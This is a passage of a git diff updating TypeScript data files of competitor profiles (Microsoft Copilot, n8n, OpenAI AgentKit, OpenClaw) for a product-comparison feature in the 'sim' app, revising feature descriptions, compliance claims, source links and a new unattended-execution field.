+1275,9 @@ export const microsoftCopilotProfile: CompetitorProfile = { confidence: 'verified', sources: [ { - url: 'https://www.sec.gov/Archives/edgar/data/0000789019/000119312526191457/msft-ex99_1.htm', - label: 'Microsoft Corp 8-K FY2026 filing', - asOf: '2026-07-02', + url: 'https://www.microsoft.com/en-us/investor/earnings/fy-2026-q3/press-release-webcast', + label: 'FY26 Q3 - Press Releases - Investor Relations - Microsoft', + asOf: '2026-07-04', }, { url: 'https://stockanalysis.com/stocks/msft/market-cap/', diff --git a/apps/sim/lib/compare/data/competitors/n8n.ts b/apps/sim/lib/compare/data/competitors/n8n.ts index 1753978595b..75a56a31c48 100644 --- a/apps/sim/lib/compare/data/competitors/n8n.ts +++ b/apps/sim/lib/compare/data/competitors/n8n.ts @@ -11,7 +11,7 @@ export const n8nProfile: CompetitorProfile = { selfFramed: true, colors: ['#040404', '#eb4c74', '#e6a3bc'], description: - 'n8n is a workflow automation platform that enables technical teams to build AI solutions and automate business processes. It combines the flexibility of code with the speed of no-code, allowing users to integrate with any app or API. With its open and self-hostable model, n8n provides a extendable tool for connecting various systems and applications, giving users the freedom to automate workflows at their own pace.', + 'n8n is a workflow automation platform that enables technical teams to build AI solutions and automate business processes. It combines the flexibility of code with the speed of no-code, allowing users to integrate with any app or API. With its open and self-hostable model, n8n provides an extendable tool for connecting various systems and applications, giving users the freedom to automate workflows at their own pace.', industries: [ 'Software (B2B)', 'Developer Tools & APIs', @@ -72,14 +72,15 @@ export const n8nProfile: CompetitorProfile = { }, }, { - title: 'Natural-language AI Workflow Builder', + title: 'Instance-level MCP server lets any external AI client build workflows', description: - "A beta 'AI Workflow Builder' converts a plain-text description into a draft, editable node workflow, with multi-turn refinement via chat. Currently available on Cloud (Trial/Starter/Pro), with Enterprise and self-hosted availability planned for later.", - shortDescription: 'Generates an editable draft workflow from a plain-text prompt.', + "A native, instance-level MCP server (Public Preview) exposes tools to create, validate, test, and publish n8n workflows over MCP, so any MCP-compatible AI client, such as Claude Desktop, ChatGPT, Cursor, or Windsurf, can build and iterate on workflows directly, not just n8n's own in-app chat. It ships in every edition, including Cloud, Enterprise, and the free self-hosted Community Edition.", + shortDescription: + 'MCP server lets Claude, ChatGPT, Cursor, or Windsurf build workflows directly.', source: { - url: 'https://docs.n8n.io/advanced-ai/ai-workflow-builder/', - label: 'n8n AI Workflow Builder docs', - asOf: '2026-07-02', + url: 'https://blog.n8n.io/n8n-mcp-server/', + label: "n8n Blog: n8n's MCP server can now build workflows", + asOf: '2026-07-04', }, }, ], @@ -722,7 +723,7 @@ export const n8nProfile: CompetitorProfile = { value: 'No broad multi-language official SDK; extensibility is via the public REST API, the official n8n CLI, and a node-development toolkit', detail: - "There is no first-party Python/Go/Java client. Instead, extensibility centers on four things: an official TypeScript package (@n8n/rest-api-client) that wraps n8n's public REST API; an n8n CLI for scripting, CI/CD, or agent use; a node-development kit (the n8n-node CLI plus scaffolding and code-standards docs) for building custom or community nodes in TypeScript, with an official verification program for submission; and a large community-nodes ecosystem, installable per self-hosted instance, alongside 400+ built-in integrations. n8n's own 2026 AI Agent Development Tools report scores n8n 0 out of 2 on \"A2A protocol\" (Agent2Agent interop), versus Sim's 2 out of 2, backed by Sim's dedicated A2A block.", + "There is no first-party Python/Go/Java client. Instead, extensibility centers on four things: an official TypeScript package (@n8n/rest-api-client) that wraps n8n's public REST API; an n8n CLI for scripting, CI/CD, or agent use; a node-development kit (the n8n-node CLI plus scaffolding and code-standards docs) for building custom or community nodes in TypeScript, with an official verification program for submission; and a large community-nodes ecosystem, installable per self-hosted instance, alongside 400+ built-in integrations.", shortValue: 'REST API, CLI, and node-development kit', confidence: 'verified', sources: [ @@ -741,11 +742,6 @@ export const n8nProfile: CompetitorProfile = { label: 'Code standards | n8n Docs', asOf: '2026-07-02', }, - { - url: 'https://n8n.io/reports/2026-ai-agent-development-tools/#vendors', - label: 'n8n: 2026 AI Agent Development Tools report (A2A protocol score)', - asOf: '2026-07-02', - }, ], }, mcpPublishing: { @@ -865,29 +861,36 @@ export const n8nProfile: CompetitorProfile = { auditLogging: { value: 'Yes: audit logging available, primarily an Enterprise-tier feature', detail: - "n8n collects and centrally stores server/audit logs queryable by authorized users, retaining at least 12 months of history, with SIEM export/log streaming. Per the pricing page, unlimited execution log retention and enforced audit logging are listed under the Enterprise tier's feature set.", - shortValue: 'Mainly an Enterprise-tier feature', - confidence: 'estimated', - sources: [{ url: 'https://n8n.io/pricing/', label: 'n8n Pricing', asOf: '2026-07-02' }], + "n8n's security page states audit log history and historical activity records are kept for at least 12 months, with at least the last three months immediately available for analysis, and collects/centrally stores these logs for authorized users with SIEM export/log streaming. Per the pricing page, unlimited execution log retention and enforced audit logging are listed under the Enterprise tier's feature set.", + shortValue: 'Mainly an Enterprise-tier feature, 12+ months retention', + confidence: 'verified', + sources: [ + { url: 'https://n8n.io/pricing/', label: 'n8n Pricing', asOf: '2026-07-02' }, + { + url: 'https://n8n.io/legal/security/', + label: 'Security | n8n (audit log retention)', + asOf: '2026-07-04', + }, + ], }, additionalCompliance: { value: - 'GDPR (as data processor) and SOC 2 Type II / SOC 3; no HIPAA, ISO 27001, PCI, or FedRAMP certification found', + 'GDPR (as data processor) and a publicly downloadable SOC 3 report; SOC 2 report available on request, not a certified SOC 2 Type II; no HIPAA, ISO 27001, PCI, or FedRAMP certification found', detail: - "n8n's Trust Center (SafeBase-hosted) and legal/security page list GDPR compliance (as a data processor with a standard DPA) and SOC 2 Type II plus a public SOC 3 report, with CAIQ self-assessment questionnaires available for both cloud and self-hosted deployments. n8n holds no ISO 27001, HIPAA BAA, PCI-DSS, or FedRAMP certification. Third-party blog posts describe self-hosted n8n as helping organizations map to HIPAA/ISO 27001 requirements, but that is not the same as holding those certifications.", - shortValue: 'GDPR, SOC 2 Type II, SOC 3', + "n8n's Trust Center (SafeBase-hosted) and legal/security page list GDPR compliance (as a data processor with a standard DPA), CAIQ self-assessment questionnaires for both cloud and self-hosted deployments, and a SOC 3 report that is publicly downloadable from the Security page. Its security program is aligned to the SOC 2 framework with annual independent audits, but n8n does not claim a certified SOC 2 Type II attestation, and the SOC 2 report itself is provided to enterprise customers on request rather than published. n8n holds no ISO 27001, HIPAA BAA, PCI-DSS, or FedRAMP certification. Third-party blog posts describe self-hosted n8n as helping organizations map to HIPAA/ISO 27001 requirements, but that is not the same as holding those certifications.", + shortValue: 'GDPR, public SOC 3, SOC 2 aligned (report on request)', confidence: 'verified', sources: [ { url: 'https://trust.n8n.io/', label: 'n8n Trust Center | Powered by SafeBase', - asOf: '2026-07-02', + asOf: '2026-07-04', }, - { url: 'https://n8n.io/legal/security/', label: 'Security | n8n', asOf: '2026-07-02' }, + { url: 'https://n8n.io/legal/security/', label: 'Security | n8n', asOf: '2026-07-04' }, { url: 'https://support.n8n.io/article/request-for-soc-2-report', label: 'Request for SOC-2 report | n8n Help Center', - asOf: '2026-07-02', + asOf: '2026-07-04', }, ], }, @@ -1173,6 +1176,27 @@ export const n8nProfile: CompetitorProfile = { }, ], }, + unattendedExecution: { + value: + "Yes: scheduled, webhook, and other trigger-based executions run on n8n's own servers (n8n Cloud) or on the self-hosted n8n server process, not on a user's local machine", + detail: + "On n8n Cloud, n8n operates the infrastructure, so a trigger-based workflow fires and completes with no dependency on any user's browser tab or device staying open. Self-hosted n8n instead depends on the operator's own server/container (Docker, Kubernetes, or a host machine) staying up, since n8n is a server process rather than a desktop app; as long as that server process is running, individual client devices can disconnect freely.", + shortValue: + "Runs on n8n's server (Cloud) or the operator's own server (self-hosted); no client device dependency", + confidence: 'verified', + sources: [ + { + url: 'https://docs.n8n.io/choose-how-to-use-n8n.md', + label: 'n8n docs: Choose how to use n8n', + asOf: '2026-07-04', + }, + { + url: 'https://docs.n8n.io/hosting/', + label: 'n8n Docs: Hosting n8n', + asOf: '2026-07-04', + }, + ], + }, }, support: { supportChannels: { diff --git a/apps/sim/lib/compare/data/competitors/openai-agentkit.ts b/apps/sim/lib/compare/data/competitors/openai-agentkit.ts index c8772df0cd7..eaf14bef792 100644 --- a/apps/sim/lib/compare/data/competitors/openai-agentkit.ts +++ b/apps/sim/lib/compare/data/competitors/openai-agentkit.ts @@ -33,13 +33,13 @@ export const openaiAgentkitProfile: CompetitorProfile = { "OpenAI AgentKit bundled a visual Agent Builder, ChatKit embeddable chat UI, Connector Registry, Guardrails, and Evals for building agentic workflows on OpenAI's models. But OpenAI is winding down Agent Builder and Evals, with full shutdown November 30, 2026, in favor of the code-first Agents SDK or ChatGPT Workspace Agents.", standoutFeatures: [ { - title: 'Guardrails open-source safety layer', + title: 'Code-first, all-OpenAI stack with no visual builder going forward', description: - 'Agent Builder shipped an open-source, modular guardrails layer that can mask/flag PII, detect jailbreaks, and apply other safety checks around agent behavior.', - shortDescription: 'Open-source guardrails layer masks PII and detects jailbreaks.', + "With Agent Builder and Evals winding down (full shutdown November 30, 2026), OpenAI's path forward is the code-first Agents SDK, openai-agents-python, open source under the MIT license with over 27,500 GitHub stars, natively wired into OpenAI's own model lineup. A team fully committed to an all-OpenAI, code-first stack, with no visual builder layer, gets that directly.", + shortDescription: 'Open-source code-first framework, natively wired to OpenAI models.', source: { - url: 'https://openai.com/index/introducing-agentkit/', - label: 'Introducing AgentKit (via search excerpt)', + url: 'https://github.com/openai/openai-agents-python', + label: 'GitHub: openai/openai-agents-python', asOf: '2026-07-02', }, }, @@ -66,13 +66,13 @@ export const openaiAgentkitProfile: CompetitorProfile = { }, }, { - title: 'Agents SDK open-source multi-agent framework', + title: 'Guardrails open-source safety layer', description: - 'The code-first alternative and successor, openai-agents-python, is open source under the MIT license with over 27,500 GitHub stars.', - shortDescription: 'Open-source multi-agent framework with 27,500+ GitHub stars.', + 'Agent Builder shipped an open-source, modular guardrails layer that can mask/flag PII, detect jailbreaks, and apply other safety checks around agent behavior.', + shortDescription: 'Open-source guardrails layer masks PII and detects jailbreaks.', source: { - url: 'https://github.com/openai/openai-agents-python', - label: 'GitHub: openai/openai-agents-python', + url: 'https://openai.com/index/introducing-agentkit/', + label: 'Introducing AgentKit (via search excerpt)', asOf: '2026-07-02', }, }, @@ -163,14 +163,18 @@ export const openaiAgentkitProfile: CompetitorProfile = { value: 'OpenAI-hosted cloud only for Agent Builder/Evals (being shut down); Agents SDK code can be deployed anywhere that runs Python/TypeScript (e.g., AWS Lambda, Cloudflare Workers, FastAPI servers)', detail: - 'There is no official Docker/Kubernetes distribution of AgentKit itself; deployment flexibility comes from the open-source Agents SDK being ordinary application code.', + 'There is no official Docker/Kubernetes distribution of AgentKit itself; deployment flexibility comes from the open-source Agents SDK being ordinary application code, as demonstrated by third-party deployment guides running it on Cloudflare Workers/Durable Objects and on AWS Lambda behind a FastAPI wrapper.', shortValue: 'OpenAI-hosted only; Agents SDK deploys anywhere', confidence: 'estimated', sources: [ { - url: 'https://community.openai.com/t/deprecation-notice-agent-builder/1382650', - label: - 'OpenAI Community: Deprecation notice - Agent Builder (community-reported deployment patterns)', + url: 'https://blog.cloudflare.com/building-agents-with-openai-and-cloudflares-agents-sdk/', + label: 'Cloudflare Blog: Building agents with OpenAI and Cloudflare Agents SDK', + asOf: '2026-07-04', + }, + { + url: 'https://developers.openai.com/api/docs/guides/agents', + label: 'OpenAI API: Agents SDK guide', asOf: '2026-07-02', }, ], @@ -285,8 +289,10 @@ export const openaiAgentkitProfile: CompetitorProfile = { }, dataTables: { value: - "No: Agent Builder's 'State' and 'Data' nodes function as global/persistent variables and data-reshaping steps within a workflow, not a native spreadsheet-like data table UI with defined row/column limits or spreadsheet keyboard navigation (arrow keys, copy-paste across cells).", - shortValue: 'No, state/data nodes are variables, not a spreadsheet', + "No: AgentKit has no equivalent to a native Tables feature. Agent Builder's 'State' and 'Data' nodes are in-workflow variables and data-reshaping steps scoped to a single run, not a persistent, spreadsheet-like data store with typed columns, rows, or keyboard navigation (arrow keys, copy-paste across cells) that other workflows or runs can read and write.", + detail: + 'Set State defines counters, flags, or contextual values referenced by later nodes in the same run; Data nodes reshape outputs (e.g., object to array) or define global variables for that run. Neither persists rows across separate workflow executions or exposes a spreadsheet UI. Structured, persistent storage that outlives a single run has to come from an external system reached through a connector or MCP server (e.g., a Google Sheets or database connector), not a database or table feature built into AgentKit itself.', + shortValue: 'No, state/data nodes are per-run variables, not a persistent table store', confidence: 'estimated', sources: [ { @@ -299,6 +305,11 @@ export const openaiAgentkitProfile: CompetitorProfile = { label: 'Agent Builder | OpenAI API', asOf: '2026-07-02', }, + { + url: 'https://community.openai.com/t/agent-builder-while-loop-transform-and-set-state-an-example/1362386', + label: 'OpenAI Community: Agent Builder - While Loop, Transform and Set State example', + asOf: '2026-07-04', + }, ], }, richTextEditor: { @@ -342,10 +353,11 @@ export const openaiAgentkitProfile: CompetitorProfile = { }, aiCapabilities: { multiLlmSupport: { - value: 'OpenAI models only (GPT-5 family, e.g. gpt-5.5, gpt-5.4, gpt-5.4-mini)', + value: + "Agent Builder's Agent node model selector is OpenAI models only (GPT-5 family, e.g. gpt-5.5, gpt-5.4, gpt-5.4-mini); the separate, code-first Agents SDK is provider-agnostic, with built-in extension points plus best-effort beta LiteLLM/Any-LLM adapters covering 100+ providers (Anthropic, Google, Mistral, and others)", detail: - "AgentKit and the Agents SDK are built around OpenAI's own model lineup; no vendor documentation offers native first-party support for non-OpenAI LLM providers (e.g., Anthropic, Google) inside Agent Builder or ChatKit.", - shortValue: 'OpenAI models only', + "Agent Builder's visual canvas only lets you pick from OpenAI's own model lineup. The Agents SDK is a different product: it ships official, built-in provider-integration points (set_default_openai_client, a custom ModelProvider, or per-agent Agent.model) for calling any OpenAI-compatible endpoint, plus best-effort beta adapters for LiteLLM and Any-LLM that route to 100+ non-OpenAI providers. OpenAI's own docs note that adapters add a compatibility layer, so feature support and request semantics can vary by provider and should be validated independently.", + shortValue: 'Agent Builder: OpenAI only. Agents SDK: provider-agnostic via adapters', confidence: 'verified', sources: [ { @@ -353,6 +365,16 @@ export const openaiAgentkitProfile: CompetitorProfile = { label: 'OpenAI API Pricing (model list)', asOf: '2026-07-02', }, + { + url: 'https://openai.github.io/openai-agents-python/models/', + label: 'OpenAI Agents SDK: Models (provider integration points)', + asOf: '2026-07-04', + }, + { + url: 'https://openai.github.io/openai-agents-python/models/litellm/', + label: 'OpenAI Agents SDK: LiteLLM extension (beta, 100+ providers)', + asOf: '2026-07-04', + }, ], }, agentReasoningBlocks: { @@ -654,7 +676,7 @@ export const openaiAgentkitProfile: CompetitorProfile = { value: 'Official Agents SDK (Python + TypeScript/JS); Apps SDK (MCP-based) for building integrations; ChatGPT Apps directory as a community marketplace', detail: - "Agents SDK ships as open-source client libraries for Python (openai-agents-python) and TypeScript/JavaScript (openai-agents-js), provider-agnostic (works with 100+ LLMs via the Responses/Chat Completions APIs). Custom integrations are built as MCP servers using the Apps SDK, an open standard on the Model Context Protocol; Agent Builder's MCP node connects to any third-party MCP server. A Connector Registry centralizes admin-managed connectors (Dropbox, Google Drive, SharePoint, Teams) plus third-party MCPs. Community apps go through a dashboard-based submission and review flow and, once approved, are listed in the ChatGPT Apps directory.", + "Agents SDK ships as open-source client libraries for Python (openai-agents-python) and TypeScript/JavaScript (openai-agents-js). It defaults to OpenAI's own Responses/Chat Completions APIs but is provider-agnostic in practice: built-in provider-integration points plus best-effort beta LiteLLM/Any-LLM adapters let it call 100+ non-OpenAI providers (this is a code-level capability, distinct from Agent Builder's OpenAI-only model selector). Custom integrations are built as MCP servers using the Apps SDK, an open standard on the Model Context Protocol; Agent Builder's MCP node connects to any third-party MCP server. A Connector Registry centralizes admin-managed connectors (Dropbox, Google Drive, SharePoint, Teams) plus third-party MCPs. Community apps go through a dashboard-based submission and review flow and, once approved, are listed in the ChatGPT Apps directory.", shortValue: 'Agents SDK, Apps SDK, and app directory', confidence: 'verified', sources: [ @@ -668,6 +690,11 @@ export const openaiAgentkitProfile: CompetitorProfile = { label: 'openai-agents-python GitHub repo', asOf: '2026-07-02', }, + { + url: 'https://openai.github.io/openai-agents-python/models/litellm/', + label: 'OpenAI Agents SDK: LiteLLM extension (beta, 100+ providers)', + asOf: '2026-07-04', + }, { url: 'https://developers.openai.com/apps-sdk', label: 'Apps SDK overview', @@ -808,7 +835,7 @@ export const openaiAgentkitProfile: CompetitorProfile = { sources: [ { url: 'https://developers.openai.com/api/docs/guides/admin-apis', - label: 'OpenAI AgentKit verification source', + label: 'Admin APIs | OpenAI API', asOf: '2026-07-02', }, ], @@ -823,7 +850,7 @@ export const openaiAgentkitProfile: CompetitorProfile = { sources: [ { url: 'https://help.openai.com/en/articles/9687866-admin-and-audit-logs-api-for-the-api-platform', - label: 'OpenAI AgentKit verification source', + label: 'Admin and Audit Logs API for the API Platform | OpenAI Help Center', asOf: '2026-07-02', }, ], @@ -1126,6 +1153,31 @@ export const openaiAgentkitProfile: CompetitorProfile = { }, ], }, + unattendedExecution: { + value: + "No native scheduler ships with AgentKit; a scheduled or triggered run only executes with zero dependency on a client device if the developer deploys their own Agents SDK code on always-on server or serverless infrastructure themselves. Agent Builder's own trigger surface covers API calls and ChatKit chat sessions, not a built-in cron/schedule trigger", + detail: + "Neither Agent Builder's node reference nor its documented trigger types include a schedule/cron trigger; time-based, run-without-a-human execution is described for a separate product, ChatGPT Workspace Agents, not AgentKit. Because Agents SDK code is ordinary Python/TypeScript, whether a run survives a closed laptop or a disconnected client depends entirely on where the developer hosts that code (e.g. AWS Lambda, a container, or a cron-triggered server process) and whether they add a third-party durability layer, such as Temporal, Dapr, Restate, or DBOS, for crash recovery and long-running execution. There is no first-party, always-on worker fleet or scheduler bundled with AgentKit itself.", + shortValue: 'No native scheduler; depends on the developer hosting it themselves', + confidence: 'estimated', + sources: [ + { + url: 'https://developers.openai.com/api/docs/guides/node-reference', + label: 'Node reference | OpenAI API', + asOf: '2026-07-02', + }, + { + url: 'https://openai.github.io/openai-agents-js/guides/running-agents/', + label: 'OpenAI Agents SDK: Running agents', + asOf: '2026-07-02', + }, + { + url: 'https://temporal.io/blog/announcing-openai-agents-sdk-integration', + label: 'Temporal: Production-ready agents with the OpenAI Agents SDK', + asOf: '2026-07-04', + }, + ], + }, }, support: { supportChannels: { diff --git a/apps/sim/lib/compare/data/competitors/openclaw.ts b/apps/sim/lib/compare/data/competitors/openclaw.ts index 67b5663e12e..ec108c84c4f 100644 --- a/apps/sim/lib/compare/data/competitors/openclaw.ts +++ b/apps/sim/lib/compare/data/competitors/openclaw.ts @@ -18,10 +18,11 @@ export const openClawProfile: CompetitorProfile = { "OpenClaw is a free, open-source, self-hosted personal AI agent that runs on a user's own machine or server and connects to messaging platforms (WhatsApp, Telegram, Slack, Discord, Signal, iMessage, Microsoft Teams, and others) as its primary interface, extensible via a Skills plugin system and the ClawHub marketplace. It is not a visual workflow/automation builder like Sim, n8n, or Power Automate.", standoutFeatures: [ { - title: '22+ messaging channels as the native interface', + title: '22+ messaging channels as the primary interface', description: - 'OpenClaw ships a multi-channel inbox connecting one assistant to WhatsApp, Telegram, Slack, Discord, Google Chat, Signal, iMessage, Microsoft Teams, IRC, Matrix, Feishu, LINE, Mattermost, Nextcloud Talk, and more. Users talk to the same agent from whichever chat app they already use, not a dedicated web builder UI.', - shortDescription: 'One agent reachable from 22+ chat apps, not a dedicated builder UI.', + 'OpenClaw ships a multi-channel inbox connecting one assistant to WhatsApp, Telegram, Slack, Discord, Google Chat, Signal, iMessage, and Microsoft Teams, plus bundled plugin channels (shipped by default, not separately installed) including IRC, Matrix, Feishu, LINE, Mattermost, Nextcloud Talk, Nostr, Twitch, Zalo, and more. Users talk to the same agent from whichever chat app they already use, not a dedicated web builder UI.', + shortDescription: + 'One agent reachable from 22+ chat apps (core plus bundled plugins), not a dedicated builder UI.', source: { url: 'https://docs.openclaw.ai/start/openclaw', label: 'OpenClaw Docs: Personal assistant setup', @@ -53,14 +54,14 @@ export const openClawProfile: CompetitorProfile = { }, }, { - title: 'Native MCP client over stdio and HTTP/SSE', + title: 'Dynamic runtime tool and skill dispatch, not pre-wired at build time', description: - 'OpenClaw connects to external Model Context Protocol servers by adding an mcpServers block to its config, giving the agent tool access to any published MCP server (GitHub, Notion, Postgres, Slack, and others) without custom integration code.', + "OpenClaw's agent decides which tools, connectors, and installed Skills to use at runtime based on the incoming request, rather than following a pre-wired sequence of steps chosen when a workflow was built. Skills become eligible per session based on gating rules (OS, environment variables, config flags) and a documented precedence order, and the agent dispatches among them dynamically instead of a builder wiring each tool call in advance.", shortDescription: - 'Connects to any MCP server (stdio or HTTP/SSE) by editing one config block.', + 'Agent picks tools and skills dynamically at runtime, not pre-wired at build time.', source: { - url: 'https://docs.openclaw.ai/cli/mcp', - label: 'OpenClaw Docs: MCP', + url: 'https://docs.openclaw.ai/tools/skills', + label: 'OpenClaw Docs: Skills', asOf: '2026-07-02', }, }, @@ -115,15 +116,15 @@ export const openClawProfile: CompetitorProfile = { }, }, { - title: 'No deployable API/webhook endpoint or visual workflow builder', + title: 'No visual drag-and-drop workflow builder, though a bundled webhooks plugin exists', description: - 'OpenClaw is a chat-interface agent gateway, not a workflow/automation platform. It has no feature to publish a configured agent, skill, or automation as a callable REST/webhook endpoint for external systems, and no drag-and-drop canvas for composing multi-step logic.', + 'OpenClaw is a chat-interface agent gateway, not a visual workflow/automation platform: it has no drag-and-drop canvas for composing multi-step logic. It does ship an official Webhooks plugin that exposes authenticated inbound HTTP routes on the Gateway, letting external systems (Zapier, n8n, CI jobs, internal services) POST JSON to create, drive, and manage OpenClaw TaskFlows, so it can be triggered and controlled via a callable endpoint, just not through any visual builder.', shortDescription: - 'No feature to publish an agent or automation as a callable API/webhook endpoint.', + 'No visual builder/canvas; a bundled Webhooks plugin does expose callable inbound HTTP routes.', source: { - url: 'https://docs.openclaw.ai/', - label: 'OpenClaw Docs home', - asOf: '2026-07-02', + url: 'https://docs.openclaw.ai/plugins/webhooks', + label: 'OpenClaw Docs: Webhooks plugin', + asOf: '2026-07-04', }, }, { @@ -531,14 +532,14 @@ export const openClawProfile: CompetitorProfile = { value: 'N/A: OpenClaw\'s entire product is a chat surface (messaging-platform channels), so there is no separate "deploy as a public chat widget" feature the way a workflow builder has. Chat is the interface itself, not an optional deployment target.', detail: - 'The agent is reached through the messaging channels the operator has connected it to (WhatsApp, Telegram, Slack, etc.) or a local Web Control UI. There is no feature to publish a standalone, unauthenticated public-facing chat widget for arbitrary website visitors.', + 'The agent is reached through the messaging channels the operator has connected it to (WhatsApp, Telegram, Slack, etc.) or the built-in WebChat surface, which the docs describe as requiring authentication (a gateway auth path, shared-secret by default) rather than a standalone, unauthenticated public-facing chat widget for arbitrary website visitors.', shortValue: 'N/A: chat is the native interface, not a separate deploy target', confidence: 'estimated', sources: [ { - url: 'https://docs.openclaw.ai/', - label: 'OpenClaw Docs home', - asOf: '2026-07-02', + url: 'https://docs.openclaw.ai/web/webchat', + label: 'OpenClaw Docs: WebChat', + asOf: '2026-07-04', }, ], }, @@ -627,10 +628,10 @@ export const openClawProfile: CompetitorProfile = { }, triggerTypes: { value: - 'Inbound chat messages on connected channels, and cron-based scheduled jobs (main-session or isolated-session runs); no generic external webhook/event trigger', + 'Inbound chat messages on connected channels, cron-based scheduled jobs (main-session or isolated-session runs), and inbound webhooks via the bundled Webhooks plugin', detail: - 'Cron jobs run agent prompts on a schedule using Croner syntax, with either "main session" delivery (enqueues a system event, optionally wakes the heartbeat) or an isolated dedicated session per run, pruned after a 24-hour retention window by default.', - shortValue: 'Chat messages and cron schedules; no generic webhook trigger', + 'Cron jobs run agent prompts on a schedule using Croner syntax, with either "main session" delivery (enqueues a system event, optionally wakes the heartbeat) or an isolated dedicated session per run, pruned after a 24-hour retention window by default. The Webhooks plugin adds authenticated inbound HTTP routes so an external system can POST to create, run, resume, cancel, or fail a TaskFlow, functioning as an external event trigger scoped to TaskFlow lifecycle actions rather than an arbitrary generic webhook.', + shortValue: 'Chat messages, cron schedules, and inbound webhooks (TaskFlow-scoped)', confidence: 'verified', sources: [ { @@ -638,6 +639,11 @@ export const openClawProfile: CompetitorProfile = { label: 'OpenClaw Docs: Scheduled tasks (cron jobs)', asOf: '2026-07-02', }, + { + url: 'https://docs.openclaw.ai/plugins/webhooks', + label: 'OpenClaw Docs: Webhooks plugin', + asOf: '2026-07-04', + }, ], }, customCodeSteps: { @@ -657,16 +663,16 @@ export const openClawProfile: CompetitorProfile = { }, apiPublishing: { value: - 'No: there is no mechanism to publish an OpenClaw agent, skill, or automation as a callable REST/webhook API endpoint for external systems to invoke.', + 'Yes, via the official Webhooks plugin: it adds authenticated inbound HTTP routes on the Gateway so external systems (Zapier, n8n, a CI job, or an internal service) can POST JSON to a configured path to create, drive, and manage OpenClaw TaskFlows, the closest OpenClaw feature to publishing a callable REST/webhook endpoint.', detail: - 'OpenClaw is reached through messaging channels or a local Web Control UI, not a deployable API surface. The Gateway itself exposes local control endpoints for its own CLI/UI, not a public API product feature.', - shortValue: 'No API endpoint deployment feature', - confidence: 'estimated', + 'The plugin runs inside the Gateway process and is enabled via configuration (hooks.enabled, token/secret, path, defaultSessionKey, mappings). Requests authenticate with a shared secret (an Authorization: Bearer header or an x-openclaw-webhook-secret header) and accept documented action values including create_flow, get_flow, list_flows, find_latest_flow, resolve_flow, get_task_summary, set_waiting, resume_flow, finish_flow, fail_flow, request_cancel, cancel_flow, and run_task. This is narrower than a general-purpose custom-API-endpoint feature (only TaskFlow lifecycle operations are exposed, not arbitrary business logic), but it is a genuine callable inbound endpoint, not merely OpenClaw calling out to external webhooks.', + shortValue: 'Yes: bundled Webhooks plugin exposes authenticated inbound HTTP routes', + confidence: 'verified', sources: [ { - url: 'https://docs.openclaw.ai/', - label: 'OpenClaw Docs home', - asOf: '2026-07-02', + url: 'https://docs.openclaw.ai/plugins/webhooks', + label: 'OpenClaw Docs: Webhooks plugin', + asOf: '2026-07-04', }, ], }, @@ -674,7 +680,7 @@ export const openClawProfile: CompetitorProfile = { value: 'Skill-authoring specification (AgentSkills/SKILL.md) plus a plugin system for channels/providers, and an open-source GitHub organization (~70 repos spanning SDKs, hosted agents, crawlers, and skill registries), not one single unified SDK product', detail: - 'The docs describe skill authoring (frontmatter, gating, tool dispatch), a plugin mechanism used for channels like Matrix/Nostr/Twitch/Zalo, and a broader open-source "federation" of related projects under the openclaw GitHub org.', + 'The docs describe skill authoring (frontmatter, gating, tool dispatch), a plugin mechanism used for bundled-by-default channels like Matrix/Nostr/Twitch/Zalo (shipped in normal releases, not separately installed by the user), and a broader open-source "federation" of related projects under the openclaw GitHub org.', shortValue: 'Skill spec, plugin system, and a ~70-repo OSS ecosystem', confidence: 'estimated', sources: [ @@ -924,11 +930,10 @@ export const openClawProfile: CompetitorProfile = { }, thirdPartyVetting: { value: - 'No: Skills mainly come from ClawHub, an open marketplace where any third-party developer can publish and any user can install executable Markdown/code Skill packages, not a first-party catalog authored by OpenClaw. Researchers documented 283 ClawHub skills (about 7.1% of the registry) leaking API keys and other credentials, and a separate scan found 24 accounts distributing over 600 malicious skills before scanning existed.', + "No: researchers documented 283 ClawHub skills (about 7.1% of the registry) leaking API keys and other credentials, plus a separate scan finding 24 accounts distributing over 600 malicious skills before scanning existed, roughly 900 skills total with a documented credential-leak or malware finding. That is a direct consequence of ClawHub's structure: it is an open marketplace where any third-party developer can publish, and any user can install, an executable Markdown/code Skill package, not a first-party catalog authored and code-reviewed by OpenClaw itself. This is the opposite trust boundary from Sim, where all 302 blocks are first-party authored and code-reviewed through the standard pull-request process, with no public marketplace for installing arbitrary third-party executable code.", detail: - 'OpenClaw has since added a ClawScan pipeline (static analysis, VirusTotal, and NVIDIA SkillSpector as of June 2026) that assigns each published skill a Clean/Suspicious/Malicious verdict and a Skill Card, but its docs still tell users to treat third-party skills as untrusted code, and the marketplace remains open to any publisher rather than vendor-authored.', - shortValue: - 'No: open ClawHub marketplace, documented credential-leak and malware incidents', + 'OpenClaw has since added a ClawScan pipeline (static analysis, VirusTotal, and NVIDIA SkillSpector as of June 2026) that assigns each published skill a Clean/Suspicious/Malicious verdict and a Skill Card, but its docs still tell users to treat third-party skills as untrusted code, and the marketplace remains open to any publisher rather than vendor-authored. Sim avoids this class of incident structurally: custom code steps run inside its own isolated-vm sandbox rather than as an installable third-party skill package.', + shortValue: 'No: ~900 ClawHub skills with a documented credential-leak or malware finding', confidence: 'verified', sources: [ { @@ -1051,6 +1056,26 @@ export const openClawProfile: CompetitorProfile = { }, ], }, + unattendedExecution: { + value: + "Partial: cron-scheduled jobs run independently of any open chat window, but they still depend on the self-hosted Gateway process itself staying up on whatever machine the operator chose to run it on. If that machine is a personal laptop, the schedule requires the laptop to stay on, awake, and connected; only running the Gateway on an always-on server/VPS gets behavior comparable to a cloud-hosted platform's zero-client-dependency execution. There is no OpenClaw-managed cloud execution layer independent of the self-hosted process.", + detail: + 'This mirrors the asyncExecution and durabilityModel facts above: OpenClaw has no separate hosted execution tier, so unattended reliability is entirely a function of the uptime of whichever machine the operator picked to run the Gateway on, not a property OpenClaw itself guarantees.', + shortValue: 'Partial: depends on the self-hosted Gateway machine staying up', + confidence: 'estimated', + sources: [ + { + url: 'https://docs.openclaw.ai/automation/cron-jobs', + label: 'OpenClaw Docs: Scheduled tasks (cron jobs)', + asOf: '2026-07-02', + }, + { + url: 'https://docs.openclaw.ai/', + label: 'OpenClaw Docs home', + asOf: '2026-07-02', + }, + ], + }, }, support: { supportChannels: { diff --git a/apps/sim/lib/compare/data/competitors/pipedream.ts b/apps/sim/lib/compare/data/competitors/pipedream.ts index 44fc615b234..fed13bb7424 100644 --- a/apps/sim/lib/compare/data/competitors/pipedream.ts +++ b/apps/sim/lib/compare/data/competitors/pipedream.ts @@ 